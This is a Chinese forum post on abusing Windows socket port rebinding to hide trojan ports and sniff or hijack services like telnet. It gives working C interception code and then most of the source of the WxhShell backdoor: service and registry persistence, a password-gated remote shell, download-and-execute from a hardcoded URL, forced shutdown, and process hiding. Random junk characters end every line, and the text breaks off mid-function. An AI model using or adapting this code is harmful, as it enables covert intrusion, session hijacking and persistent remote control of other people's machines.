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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nCLEAe$W\=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Aot9^@4])  
,a ":/ /[  
  saddr.sin_family = AF_INET; "BC;zH:  
0>ce~KU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aco w  
ugs9>`fF&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4mm>6w8NT  
iE^=Vf;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $v1_M1  
,HK-mAH   
  这意味着什么?意味着可以进行如下的攻击: &[5pR60  
rb]?"lizi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^(Wu$\SA  
V=H:`n3k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5wC,:c[H7  
kK.[v'[>&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 && b;Wr  
,#j'~-5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5i=C?W`'  
}qBmt>#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [6\b(kS+  
ULzrJbP'7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A(+%DZ  
vywpX^KPv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #@P0i^pFTB  
,hE989x<iI  
  #include #cqI0ny?G  
  #include !iW> xo  
  #include sA oxLI  
  #include    *rA]q' jM  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k\-h-0[|  
  int main() 9u%(9Ae  
  { FzG>iC}  
  WORD wVersionRequested; XmN8S_M>v  
  DWORD ret; s133N?  
  WSADATA wsaData; `pqTiV  
  BOOL val; :a9   
  SOCKADDR_IN saddr; . Gb!mG  
  SOCKADDR_IN scaddr; dd *p_4;  
  int err; xcH&B %;f  
  SOCKET s; [gj>ey8T  
  SOCKET sc; U+&Eps&NI  
  int caddsize; [OR"9W&  
  HANDLE mt; 0!M'z  
  DWORD tid;   664D5f#EJ  
  wVersionRequested = MAKEWORD( 2, 2 ); -s]@8VJA"  
  err = WSAStartup( wVersionRequested, &wsaData ); R$;TX^r'o&  
  if ( err != 0 ) { `Ay:;I  
  printf("error!WSAStartup failed!\n"); pk0{*Z?@  
  return -1; $dG:29w  
  } - B?c F9  
  saddr.sin_family = AF_INET; :TkMS8  
   S q{@4F}d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DKF '*  
c7RQ7\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HEw&'  
  saddr.sin_port = htons(23); I{=Yuc  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X!m lC51  
  { &^l(RBp]0  
  printf("error!socket failed!\n"); |qBcE  
  return -1; <,\U,jU _  
  } "uFwsjz&B  
  val = TRUE; UqNUX?(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y(R.<LtY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F6aC'<#/  
  { ?$l|];m)-  
  printf("error!setsockopt failed!\n"); O&,8X-Ix  
  return -1; zjOOEvi  
  } '.&Y)A6!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Sb(OG 6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c=X+uO-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u08QE,  
-+0kay%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?wFL\C  
  { <>728;/C  
  ret=GetLastError(); ` 46z D ?  
  printf("error!bind failed!\n"); nv\K!wZI=b  
  return -1; 7Gy:T47T\@  
  } Ov ^##E  
  listen(s,2); uqLP$At  
  while(1) 7*"Jx}eM  
  { mhy='AQJ  
  caddsize = sizeof(scaddr); EX#AJ>?V(  
  //接受连接请求 X-#&]^d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ESYF4-d+  
  if(sc!=INVALID_SOCKET) >Fs/Wet  
  { *ifz@8C }  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); keFH CC  
  if(mt==NULL) [c;#>UQMf  
  { FRQ0t!b<M1  
  printf("Thread Creat Failed!\n"); %D5F7wB  
  break; A+3SLB  
  } 0[e!/*_V  
  } |Wjpnz  
  CloseHandle(mt); !?=U{^|7y  
  } 5n{d jP  
  closesocket(s); 2`TV(U@  
  WSACleanup(); ~?FhQd\Q  
  return 0; MX8|;t  
  }   *UJ4\  
  DWORD WINAPI ClientThread(LPVOID lpParam) kguZAO6  
  { K/K-u  
  SOCKET ss = (SOCKET)lpParam; {_/o' 6  
  SOCKET sc; Fm,` ]CO  
  unsigned char buf[4096]; ixSr*+  
  SOCKADDR_IN saddr; Gx6%Z$2n  
  long num; ts9wSx~[+  
  DWORD val; lo(C3o'  
  DWORD ret; oeB'{bG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S_/S2(V"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JO+tY[q  
  saddr.sin_family = AF_INET; "RN] @p#m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &lLfVa-l  
  saddr.sin_port = htons(23); 0%dOi ko  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `$ S&:Q,  
  { >6HGh#0(p  
  printf("error!socket failed!\n"); b^Re947{g  
  return -1; "ayV8{m^3  
  } I<ohh`.  
  val = 100; vg1J N"S[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pCA`OP);=  
  { xcU!bDV  
  ret = GetLastError(); &i(Ip'r  
  return -1; YrB-n  
  } { ]_j)R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .<F46?HS  
  { #[bL9R5NC  
  ret = GetLastError(); Rd5_{F  
  return -1; !Yv_V]u=  
  } uVCH<6Cp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OtmDZ.t;`  
  { >Vjn]V5y  
  printf("error!socket connect failed!\n"); 4&sf{tI  
  closesocket(sc); ;=jF9mV.  
  closesocket(ss); BB\GrD  
  return -1; H8FvI"J  
  } ]i$y;]f  
  while(1) Y~8 5Z0l  
  { IBo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gTXpaB<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $3G^}A"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [ gMn  
  num = recv(ss,buf,4096,0); t]@>kAA>2L  
  if(num>0) uC^)#Y\"  
  send(sc,buf,num,0); suwR`2  
  else if(num==0) +w^,!gA&  
  break; i[IFD]Xy!j  
  num = recv(sc,buf,4096,0); ( .cA'f?h  
  if(num>0) %m\:AK[}  
  send(ss,buf,num,0); :5,~CtF5 `  
  else if(num==0)  pE)NSZ  
  break; >5Yn`Fc5  
  } '-YiV  
  closesocket(ss); AX8~w(sv  
  closesocket(sc); <&l$xn  
  return 0 ; Sk cK>i.[  
  } b;UBvwY_  
~3?-l/$  
X$we\t  
========================================================== |p&EP2?T  
p{^:b6  
下边附上一个代码,,WXhSHELL pqb'L]  
]EX6Y  
========================================================== ]O"f%   
dDpAS#'s\  
#include "stdafx.h" /B@{w-N  
QIGUi,R  
#include <stdio.h> @/.# /  
#include <string.h> m6ge %  
#include <windows.h> w~b:9_reY  
#include <winsock2.h> Q^Cm3|ZO  
#include <winsvc.h> Y0a[Lb0  
#include <urlmon.h> ~4{q  
pD%(Y^h?  
#pragma comment (lib, "Ws2_32.lib") PlzM`g$A  
#pragma comment (lib, "urlmon.lib") q>2bkcGY#  
hT X[W%K  
#define MAX_USER   100 // 最大客户端连接数 g8##Be  
#define BUF_SOCK   200 // sock buffer eut2x7Z(c  
#define KEY_BUFF   255 // 输入 buffer <#C,66k  
pXSShU#  
#define REBOOT     0   // 重启 w+ R/>a( ]  
#define SHUTDOWN   1   // 关机 6e+'Y"v  
#u hUZq  
#define DEF_PORT   5000 // 监听端口 Ds">eNq  
e Wux  
#define REG_LEN     16   // 注册表键长度 W\~^*ny P6  
#define SVC_LEN     80   // NT服务名长度 Ik0g(-d  
$ZBYOA  
// 从dll定义API 90<g=B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;t{q]"? W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u1%URen[x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Food<(!.>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :25LQf^nz  
p@Y=6Bw  
// wxhshell配置信息 bqcCA9 1  
struct WSCFG { N y'\Q"Y]  
  int ws_port;         // 监听端口 B}iEhWO6  
  char ws_passstr[REG_LEN]; // 口令 %qoS(iO`h  
  int ws_autoins;       // 安装标记, 1=yes 0=no |"gL {De  
  char ws_regname[REG_LEN]; // 注册表键名 0kkDlWkzo  
  char ws_svcname[REG_LEN]; // 服务名 S\A/*!%~y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j<p.#jkT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bC<W7qf]}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pZnp!!G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +X=*>^G(-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &zEQbHK6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h@Q^&%w  
KxkBP/`3Q  
}; ==dKC;  
*jlIV$r_  
// default Wxhshell configuration _ %nz-I  
struct WSCFG wscfg={DEF_PORT, %!<Y  
    "xuhuanlingzhe", `6U!\D  
    1, 3Z b]@n  
    "Wxhshell", [8iY0m_Qe  
    "Wxhshell", )E}v~GW.+  
            "WxhShell Service", +=3=%%?C  
    "Wrsky Windows CmdShell Service", ]q]xU,  
    "Please Input Your Password: ", npdljLN  
  1, sK}AS;:  
  "http://www.wrsky.com/wxhshell.exe", !"L.gu-'  
  "Wxhshell.exe" N''QQBUD  
    }; EwP2,$;  
y}?|+/ dN  
// 消息定义模块 @Vm*b@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E/zf9\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mO>L]<O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5C Dk5B_  
char *msg_ws_ext="\n\rExit."; IVR%H_uz  
char *msg_ws_end="\n\rQuit."; &$MC!iMh  
char *msg_ws_boot="\n\rReboot..."; Cr.YSW g)4  
char *msg_ws_poff="\n\rShutdown..."; (\AN0_  
char *msg_ws_down="\n\rSave to "; N,(!   
9wvlR6z;u  
char *msg_ws_err="\n\rErr!"; 0fsVbC  
char *msg_ws_ok="\n\rOK!"; @5>#<LV=E#  
l(t&<O(m9  
char ExeFile[MAX_PATH]; \9?[|m z  
int nUser = 0; R;< q<i_l  
HANDLE handles[MAX_USER]; GcBqe=/B!  
int OsIsNt; s4|\cY`b-  
l=~!'1@L}  
SERVICE_STATUS       serviceStatus; Su#0 F0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ./YR8#,  
PYkhY;*  
// 函数声明 q/i2o[f'n  
int Install(void); -#v~;Ci  
int Uninstall(void); 6nx\|F  
int DownloadFile(char *sURL, SOCKET wsh); qRt!kWW  
int Boot(int flag); -k'<6op  
void HideProc(void); jq+(2  
int GetOsVer(void); z(|^fi(  
int Wxhshell(SOCKET wsl); xcB\Y:   
void TalkWithClient(void *cs); Kj4/fB  
int CmdShell(SOCKET sock); jP+yN|  
int StartFromService(void); WZ CI*'  
int StartWxhshell(LPSTR lpCmdLine); J@3,  
Q0U~s\<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 98[uRywI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1dH|/9  
l1+l@r\  
// 数据结构和表定义 fUT[tkb/!  
SERVICE_TABLE_ENTRY DispatchTable[] = !_Lmrs  
{ [|(|"dh@^H  
{wscfg.ws_svcname, NTServiceMain}, -,J<X\  
{NULL, NULL} t>j_C{X1(  
}; _#8hgwf>  
2b"*~O;  
// 自我安装 F y+NJSG  
int Install(void) 0Hnj<|HL  
{ \]X.f&u  
  char svExeFile[MAX_PATH]; &jqaW 2  
  HKEY key; 6h:QSVfx  
  strcpy(svExeFile,ExeFile);  E]V, @  
u?^V4 +V  
// 如果是win9x系统,修改注册表设为自启动 M xE]EJZ  
if(!OsIsNt) { ^m\o(R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NRRJlY S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o@meogkL  
  RegCloseKey(key); O. * 0;5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JF=R$!5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :qzg?\(  
  RegCloseKey(key); @r"\bBi  
  return 0; !>`Q]M`  
    } bLc5$U$!I  
  } WgNA%.|,  
} "HOZ2_(o  
else { 0z8(9DlTc  
Eb3ZM#  
// 如果是NT以上系统,安装为系统服务 "{0G,tdA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5y#,z`S  
if (schSCManager!=0) (.J/Ql0Y  
{ 'E| %l!xO  
  SC_HANDLE schService = CreateService r%,?uim#  
  ( T;w:^XW  
  schSCManager,  |$Yk)z3  
  wscfg.ws_svcname, ]H1mj#EWU  
  wscfg.ws_svcdisp, wkg4I.  
  SERVICE_ALL_ACCESS, MAa9JA8kw)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (Y1*Bs[l  
  SERVICE_AUTO_START, 4_#$k{  
  SERVICE_ERROR_NORMAL, g"-j/ c   
  svExeFile, aV;|2}q "  
  NULL, 8}QM~&&.  
  NULL, (,Y[2_Zv  
  NULL, ]ch=@IV  
  NULL, Iiy5;:CX:q  
  NULL YvY|\2^K  
  ); ^y5A\nz&  
  if (schService!=0) LU3pCM{  
  { DV5hTw0  
  CloseServiceHandle(schService); \u[x<-\/6  
  CloseServiceHandle(schSCManager); , ZsZzZ#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fis!MMh.$  
  strcat(svExeFile,wscfg.ws_svcname); o;8$#gyNY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &L6Ivpj-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .UK0bxoa  
  RegCloseKey(key); Xaz "!  
  return 0; 6-U_TV  
    } ;dIk$_FN  
  } axQ>~v WN/  
  CloseServiceHandle(schSCManager); 9*"  
} xm m,- u  
} /~LE1^1&U  
ing'' _  
return 1; 2Kxb(q"  
} 91R# /i  
a %#UF@ I  
// 自我卸载 fUw:jE xz  
int Uninstall(void) `d <`>  
{ U,rI/'  
  HKEY key; t{})6  
w2B)$u  
if(!OsIsNt) { gawY{Jr8I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { := V?;  
  RegDeleteValue(key,wscfg.ws_regname); ?P9aXwc  
  RegCloseKey(key); dL42)HP5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { teok*'b:  
  RegDeleteValue(key,wscfg.ws_regname); }*x1e_m}H  
  RegCloseKey(key); n_kwtWX(  
  return 0; C HnclT  
  } E '6>3n  
} Nl\`xl6y]  
} {B$CqsvJ  
else { hFV,FBsAO  
TQR5V\{&%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^O}a,  
if (schSCManager!=0) M=,pn+}y>  
{ MlV(XG>'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jKUEs75]  
  if (schService!=0) ZU 3Psj  
  { ,{*g Q%7  
  if(DeleteService(schService)!=0) { Sca"LaW1  
  CloseServiceHandle(schService); ]J Yz(m[   
  CloseServiceHandle(schSCManager); BlJiHz!  
  return 0;  ~,lt^@a  
  } Q<sqlh!h  
  CloseServiceHandle(schService); IO)Y0J>x  
  } fe\lSGmf  
  CloseServiceHandle(schSCManager); t<rIg1  
} ,dRaV</2  
} .fWy\ r0  
 'z} t= ?  
return 1; ::Zo` vP  
} ~[CFs'`(2  
7xnj\9$m  
// 从指定url下载文件 5=o^/Vkc  
int DownloadFile(char *sURL, SOCKET wsh)  /  
{ 9evr!=":  
  HRESULT hr; ~kW?]/$h  
char seps[]= "/"; v,")XPY  
char *token; 217G[YE-  
char *file; snaAn?I4  
char myURL[MAX_PATH]; \HGf!zZ  
char myFILE[MAX_PATH]; 4  OPY  
' i+L  
strcpy(myURL,sURL); #-yCR  
  token=strtok(myURL,seps); P~ObxY|  
  while(token!=NULL) ;!<}oZp{  
  { xXJ*xYn "}  
    file=token; Ph3;;,v '  
  token=strtok(NULL,seps); _xKn2?d8g  
  } $zP5Hzx  
MblRdj6  
GetCurrentDirectory(MAX_PATH,myFILE); =MNp;  
strcat(myFILE, "\\"); kj6:P$tH  
strcat(myFILE, file); 3aW<FSgP  
  send(wsh,myFILE,strlen(myFILE),0); YTTyMn  
send(wsh,"...",3,0); G9:XEEN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c~<;}ve^z  
  if(hr==S_OK) i{^T;uAE  
return 0; m?w_ ]  
else O`Tz^Q /D  
return 1; ACyK#5E  
AE rPd)yk0  
} P j   
-[=~!Qr:  
// 系统电源模块 v@qP &4Sp  
int Boot(int flag) "BQnP9  
{ |5 V0_79  
  HANDLE hToken; -8l<5g7  
  TOKEN_PRIVILEGES tkp; I}PI  
A.>mk598  
  if(OsIsNt) { vT?^#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k8D _  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4>,X.|9{  
    tkp.PrivilegeCount = 1; A3eCI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9xR5Jm>k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UGAV"0  
if(flag==REBOOT) { T.da!!'B f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?X@!jB,Pv  
  return 0; S f?;j{?G  
} /2p*uv }IP  
else { !Gmnck&+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?+]=|hN  
  return 0; |.k'?!  
} J5{;+ysUMl  
  } vhBW1/w&F  
  else { yCxYFi  
if(flag==REBOOT) { hU$a Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )ce 6~   
  return 0; p!pf2}6Fd  
} #Y=^4U`  
else { Bve|+c6W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4\n ~  
  return 0; 'D21A8*N  
} b6-N2F1Fs  
} Yc7 YNC.  
A|ZT ;\  
return 1; kyHli~Nr"  
} ji?Hw  
qHk{5O3  
// win9x进程隐藏模块 # 55>?  
void HideProc(void) BA h'H&;V  
{ YYQvt  
+(*HDa|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =+iY<~8  
  if ( hKernel != NULL ) t 'eaR-  
  { 0=>$J WF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /S]$Hu|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cKVFykwM  
    FreeLibrary(hKernel); Z!g6uV+.5  
  } Tri\5O0lPs  
0q5J)l:  
return; SW9 C 8Q  
} CzBYH   
PMAz[w,R~  
// 获取操作系统版本 }PI:O%N;  
int GetOsVer(void) h7#\]2U$[5  
{ e0(/(E:  
  OSVERSIONINFO winfo; f\2IKpF2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 27!F B@k-  
  GetVersionEx(&winfo); cy^=!EfA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k-ZO/yPo  
  return 1; |.@!CqJ  
  else ~:Rbd9IB  
  return 0; t=Oq<r  
} rD}g9?ut  
=f~<*wQ  
// 客户端句柄模块 .?u<|4jE6  
int Wxhshell(SOCKET wsl) ~9]vd|  
{ {.LJ(|(Mz  
  SOCKET wsh; {]\7 M|9\  
  struct sockaddr_in client; h~#iGs  
  DWORD myID; *tv&=  
OH/9<T?  
  while(nUser<MAX_USER)  vm! y2  
{ [K A^+n  
  int nSize=sizeof(client); RsDSsux  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ur+U#}  
  if(wsh==INVALID_SOCKET) return 1; AGFA;X  
oL]uY5eZoe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :of([e|u6  
if(handles[nUser]==0) <{W{ Y\_A>  
  closesocket(wsh); DZqG7p$u4i  
else no+ m.B  
  nUser++; j/aJDE(+  
  } @@H/q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h3 H Udu  
E+Bc>xl@ m  
  return 0; 1i#y>fUj  
} |Y Lja87  
My>q%lF=fw  
// 关闭 socket HVa D  
void CloseIt(SOCKET wsh) TyV~2pc N  
{ k' 8q /]  
closesocket(wsh); )Ra:s>  
nUser--; f(y+1  
ExitThread(0); ir6aV|ea!  
} -1 dD~S$  
e[iv"|+  
// 客户端请求句柄 K3mP6Z#2  
void TalkWithClient(void *cs) N)mZ!K44  
{ b"$?(Y  
f:M^q ;  
  SOCKET wsh=(SOCKET)cs; mP*$wE9b,:  
  char pwd[SVC_LEN]; 8(Az/@=n  
  char cmd[KEY_BUFF]; @A6iY  
char chr[1]; Ct'tUF<K5  
int i,j; =bh: U90y  
62ru%<x=  
  while (nUser < MAX_USER) { 4 Y=0>FlY0  
(EcP'F*;;y  
if(wscfg.ws_passstr) { , LwinjHA*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #U-y<[ 3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 80Y% C-Y:  
  //ZeroMemory(pwd,KEY_BUFF); Y-})/zFc  
      i=0; 4AL,=C3  
  while(i<SVC_LEN) { ~2>Adp  
ovN3.0tAI  
  // 设置超时 fYuSfB+<  
  fd_set FdRead; |]<#![!h#  
  struct timeval TimeOut; s=)W  
  FD_ZERO(&FdRead); o<A-ETx<  
  FD_SET(wsh,&FdRead); x"Ll/E)\v]  
  TimeOut.tv_sec=8; #r9\.NA!  
  TimeOut.tv_usec=0; IiniaVuQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W^09tx/I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /{l_tiE7  
>h%>s4W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z$1|D{  
  pwd=chr[0]; #jBmWaP.  
  if(chr[0]==0xd || chr[0]==0xa) { <U$YJtEK  
  pwd=0; +F NGRL  
  break; \j!/l f)  
  } ;q'-<O   
  i++; eTjPztdJbx  
    } Zsapu1HoL\  
b$;oty9Y  
  // 如果是非法用户,关闭 socket D'[:35z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s2L]H  
} 8/p ]'BLf  
nY MtK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f-#:3k*7S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |?jgjn&RQ  
GTB\95j]  
while(1) { J8\l'} ?&  
U{dK8~  
  ZeroMemory(cmd,KEY_BUFF); xpp nBnu$7  
Up%XBA  
      // 自动支持客户端 telnet标准   D0 k ,8|  
  j=0; bCP2_h3*  
  while(j<KEY_BUFF) { ,>#\aO1n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o,j_eheAM  
  cmd[j]=chr[0]; ;m] nl_vg  
  if(chr[0]==0xa || chr[0]==0xd) { 6v{&,q  
  cmd[j]=0; hfJ&o7Dt  
  break; Z[[*:9rY|  
  } pGU .+[|(  
  j++; #SHJ0+)o  
    } bX[ZVE(L  
[3=Y 9P:  
  // 下载文件 Ma\%uEgTD  
  if(strstr(cmd,"http://")) { zdem}kBIe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d. d J^M  
  if(DownloadFile(cmd,wsh)) EyR/   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >lmqPuf  
  else 'O 7:=l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B!<B7Q  
  } 6t!=k6`1  
  else { v@G&";|  
=M:Po0?0E  
    switch(cmd[0]) { `dF~'  
  N/lEfy<&g:  
  // 帮助 %npLgCF  
  case '?': { <gX({FA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3R$R?^G  
    break; q9x@Pc29d  
  } :?EZ\WM7  
  // 安装 ~:,}?9  
  case 'i': { x xzUey  
    if(Install()) QNE/SSL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;*K;)C  
    else [x?9< #T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g#fn(A  
    break; D',7T=C   
    } ~ecN4Oo4q;  
  // 卸载 @fA| y  
  case 'r': { 8S#&XS>o  
    if(Uninstall()) r]}6iF.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \+Qd=,!i(  
    else gCYe ^KJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VxOWv8}|  
    break; ekfa"X_  
    } hG`@#9|f  
  // 显示 wxhshell 所在路径 u*qI$?&  
  case 'p': { =MJRQ V67  
    char svExeFile[MAX_PATH]; AzzHpfv,  
    strcpy(svExeFile,"\n\r"); DB|w&tygq  
      strcat(svExeFile,ExeFile); LdOqV'&r  
        send(wsh,svExeFile,strlen(svExeFile),0); G]xYQ]  
    break; V*?QZ;hCP  
    } z+M{z r  
  // 重启 g~|vmVBua  
  case 'b': { 2 N(Z^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WJ8osWdLu  
    if(Boot(REBOOT)) ;j~%11  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DHjfd+E=s  
    else { ?FS0zc!+  
    closesocket(wsh); (VkO[5j  
    ExitThread(0); H #X*OJ  
    } :Eh}]_  
    break; ;9#W#/B  
    } +F,])p4,]i  
  // 关机 lV3k4iRH  
  case 'd': { 67H?xsk@n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9;n*u9<  
    if(Boot(SHUTDOWN)) w|I5x}ZFG  
